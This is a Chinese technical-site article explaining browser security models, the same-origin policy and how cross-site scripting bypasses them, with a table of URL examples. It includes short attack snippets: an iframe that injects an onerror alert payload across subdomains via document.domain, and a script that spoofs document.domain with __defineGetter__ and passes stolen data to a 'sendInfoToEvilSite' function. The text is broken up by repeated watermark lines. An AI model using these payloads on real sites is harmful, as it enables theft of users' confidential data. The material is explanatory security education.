首页链接位
www.92jishu.com 专业IT技术网站
专业IT技术网站
首页
网络
安全
存储
服务器
操作系统
开发
数据库
应用
虚拟化技术
前沿技术
硬件
下载中心
路由
交换
网络管理
无线网络
网格计算
网络存储
负载集群
数据恢复
存储
服务器
虚拟化技术
操作系统
架构设计
Oracle
MySQL
DB2
SQL Server
Windows
Linux
Java
DotNet
c/c++
嵌入式/移动
主板电路图
笔记本电路图
会员中心
首页
>
安全
>
网站
跨站脚本攻击深入解析:安全模型和同源策略
跨站脚本攻击深入解析:安全模型和同源策略
时间
:
2009-04-30 22:04:26
作者
:
本文关键词:
跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过
安全
边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。
UUu就爱技术网
在本文中,我们论述浏览器方面的
安全
措施,以及如何利用跨站脚本(XSS)这种常见的技术来规避浏览器的
安全
措施。在正式讨论跨站脚本攻击之前,我们必须首先要对现有的
安全
措施有所了解,所以本文将详细介绍当前Web应用所采取的
安全
措施,如同源策略、cookie
安全
模型以及Flash的
安全
模型。
UUu就爱技术网
一、Web
安全
模型
UUu就爱技术网
尽管浏览器的
安全
措施多种多样,但是要想黑掉一个Web应用,只要在浏览器的多种
安全
措施中找到某种措施的一个漏洞或者绕过一种
安全
措施的方法即可。浏览器的各种保安措施之间都试图保持相互独立,但是攻击者只要能在出错的地方注入少许
Java
Script,所有
安全
控制几乎全部瓦解——最后还起作用的就是最弱的
安全
防线:同源策略。同源策略管辖着所有保安措施,然而,由于浏览器及其插件,诸如Acrobat Reader、Flash 和Outlook Express漏洞频出,致使同源策略也频频告破。在本文里,我们主要讨论浏览器的三个
安全
模型:
UUu就爱技术网
1.同源策略
UUu就爱技术网
2.cookies
安全
模型
UUu就爱技术网
3.Flash
安全
模型
UUu就爱技术网
UUu就爱技术网
此外,我们还会介绍如何利用
Java
Script代码削弱这些
安全
模型的方法。
UUu就爱技术网
二、同源策略
UUu就爱技术网
UUu就爱技术网
同源策略又名同域策略是浏览器中的主要
安全
措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。 同源策略,简单地说就是要求动态内容(例如,
Java
Script或者VBScript)只能阅读与之同源的那些HTTP应答和cookies,而不能阅读来自不同源的内容。更为有趣的是,同源策略对写操作没有任何限制。因而,一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求,尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。
UUu就爱技术网
解释同源策略的最好的方法是实例说明。假定我们在网页
http://foo.com/bar/baz.html
中放上了
Java
Script代码。那么,这些
Java
Script可以读/写一些页面,但是却不能读/写其他页面。下表说明了来自
http://foo.com/bar/baz.html
的
Java
Script可以访问哪些URL。
UUu就爱技术网
URL能否访问这个URL原因
UUu就爱技术网
http://foo.com/index.html
UUu就爱技术网
可以。
UUu就爱技术网
协议和主机名匹配。
UUu就爱技术网
端口没有显式说明。
UUu就爱技术网
该端口被假设为80。注意,两者的目录是不同的。这个目录是/而非/bar。
UUu就爱技术网
http://foo.com/cgi-bin/version2/webApp
UUu就爱技术网
可以。协议和主机名匹配。
UUu就爱技术网
端口没有显式说明。
UUu就爱技术网
UUu就爱技术网
该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2,而非上面的/bar。
UUu就爱技术网
http://foo.com:80/bar/baz.html
可以。具有几乎相同的URL,HTTP协议匹配,端口是80(HTTP默认的端口),主机名也一样。
UUu就爱技术网
https://foo.com/bar/baz.html
UUu就爱技术网
不可以。协议不同,这里使用的协议是HTTPS。
UUu就爱技术网
http://www.foo.com/bar/baz.html
UUu就爱技术网
不可以。两个主机名不同,这里的主机名是
www.foo.com
而不是foo.com。
UUu就爱技术网
http://foo.com:8080/bar/baz.html
不可以。两个端口号不同。这里的端口是8080,而前面的端口被假定为80。
UUu就爱技术网
上表说明了当
http://foo.com/bar/baz.html
试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对
Java
Script的变量document.domain进行相应设置,可以使浏览器有限度地违反同源策略,即,如果
http://www.foo.com/bar/baz.html
页面中含有下列内容:
UUu就爱技术网
< script >
UUu就爱技术网
document.domain = "foo.com";
UUu就爱技术网
< / script >
UUu就爱技术网
那么任何
http://xyz.foo.com/anywhere.html
页面内的脚本都可以向
http://www.foo.com/bar/baz.html
发送HTTP请求,并可以读取其内容。在此种情况下,如果攻击者能够向
http://xyz.foo.com/anywhere.html
中注入HTML或
Java
Script的话,那么他同时也能在
http://www.foo.com/bar/baz.html
中注入
Java
Script代码。
UUu就爱技术网
为此,攻击者需要首先在
http://xyz.foo.com/anywhere.html
(其document.domain设为foo.com)中注入HTML和
Java
Script,并向
http://www.foo.com/bar/baz.html
(其document.domain也设为foo.com)中载入一个iframe,然后就可以通过
Java
Script来访问该iframe的内容了。例如,
http://xyz.foo.com/anywhere.html
中的下列代码将在
www.foo.com
域中执行一个
Java
Script的alert()函数:
UUu就爱技术网
< iframe src="
http://www.foo.com/bar/baz.html
"
UUu就爱技术网
onload="frames[0].document.body.innerHTML+=’
onerror=alert(1)’">< / iframe >
UUu就爱技术网
这样,document.domain将允许攻击者跨域活动(域际旅行)。注意,你不能在document.domain变量中放入任何域名,相反,只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名,如
www.foo.com
的上级域名是foo.com 。
UUu就爱技术网
在Firefox浏览器中,攻击者可以利用__defineGetter__()来操纵document.domain,命令document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略,因为它只对
Java
Script引擎有影响,而不会影响底层的文档对象模型(DOM),然而这对于依靠document.domain在后台进行跨域请求的
Java
Script应用程序却是有影响的。例如,假如一个后台请求
http://somesite.com/GetInformation?callback=callbackFunction
的应答的HTTP体如下所示:
UUu就爱技术网
function callbackFunction() {
UUu就爱技术网
if ( document.domain == "safesite.com") {
UUu就爱技术网
return "Confidential Information";
UUu就爱技术网
}
UUu就爱技术网
return "Unauthorized";
UUu就爱技术网
}
UUu就爱技术网
UUu就爱技术网
通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:
UUu就爱技术网
< script >
UUu就爱技术网
function callbackFunction() {return 0;}
UUu就爱技术网
document.__defineGetter__("domain", function() {return "safesite.com"});
UUu就爱技术网
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
UUu就爱技术网
< / script >
UUu就爱技术网
上一篇:
Linux环境下的Sniffer设计与实现
下一篇:
下面没有链接了
分享到:
相关文章
无相关信息
热门文章
Sniffer常见问题及防范策略深入分析
BPDU协议分析-sniffer应用系列
CDP协议分析-sniffer应用系列
嗅探原理与反嗅探技术详解
Sniffer网络管理解决方案
Raw Socket(原始套接字)实现Sniffer(嗅探)
Linux环境下的Sniffer设计与实现
跨站脚本攻击深入解析:安全模型和同源策略
图文信息
最新文章
跨站脚本攻击深入解析:安全模型和同源策略
Linux环境下的Sniffer设计与实现
Raw Socket(原始套接字)实现Sniffer(嗅探)
Sniffer网络管理解决方案
嗅探原理与反嗅探技术详解
CDP协议分析-sniffer应用系列
BPDU协议分析-sniffer应用系列
Sniffer常见问题及防范策略深入分析
头条推荐
Sniffer常见问题及防范策略深入分析
BPDU协议分析-sniffer应用系列
CDP协议分析-sniffer应用系列
嗅探原理与反嗅探技术详解
Sniffer网络管理解决方案
Raw Socket(原始套接字)实现Sniffer(嗅探)
Linux环境下的Sniffer设计与实现
跨站脚本攻击深入解析:安全模型和同源策略
栏目热点
Sniffer常见问题及防范策略深入分析
BPDU协议分析-sniffer应用系列
CDP协议分析-sniffer应用系列
嗅探原理与反嗅探技术详解
Sniffer网络管理解决方案
Raw Socket(原始套接字)实现Sniffer(嗅探)
Linux环境下的Sniffer设计与实现
跨站脚本攻击深入解析:安全模型和同源策略
最新下载
技嘉 GA-TG965MP-RH-GW主板电路图 Rev 2.1
技嘉 P35T-DQ6主板电路图 Rev 1.0
技嘉 P35C-DS3R主板电路图 Rev 2.0
技嘉 P35-S3L主板电路图 Rev 1.0
技嘉 P35-DS4主板电路图 Rev 1.1
技嘉 P35-DS4主板电路图 Rev 1.01
技嘉 P35-DS3P主板电路图 Rev 1.1
技嘉 P35-DS3主板电路图 Rev 2.01
技嘉 P35-DQ6主板电路图 Rev 1.1
技嘉 P35-DQ6主板电路图 Rev 1.01
技嘉 GA-P31-S3G主板电路图 Rev 1.0
技嘉 GA-P31-ES3G主板电路图 Rev 1.0
技嘉 P31-DS3L主板电路图 Rev 1.1A
技嘉 P31-DS3L主板电路图 Rev 1.1
技嘉 GA-N680SLI-DQ6主板电路图 Rev 2.0
技嘉 GA-N680SLI-DQ6主板电路图 Rev 1.0
技嘉 GA-MA790X-DS4主板电路图 Rev 1.0B
技嘉 GA-MA790X-DS4主板电路图 Rev 1.0
技嘉 GA-MA69VM-S2主板电路图 Rev 1.0
技嘉 G33M-DS2R主板电路图 Rev 1.01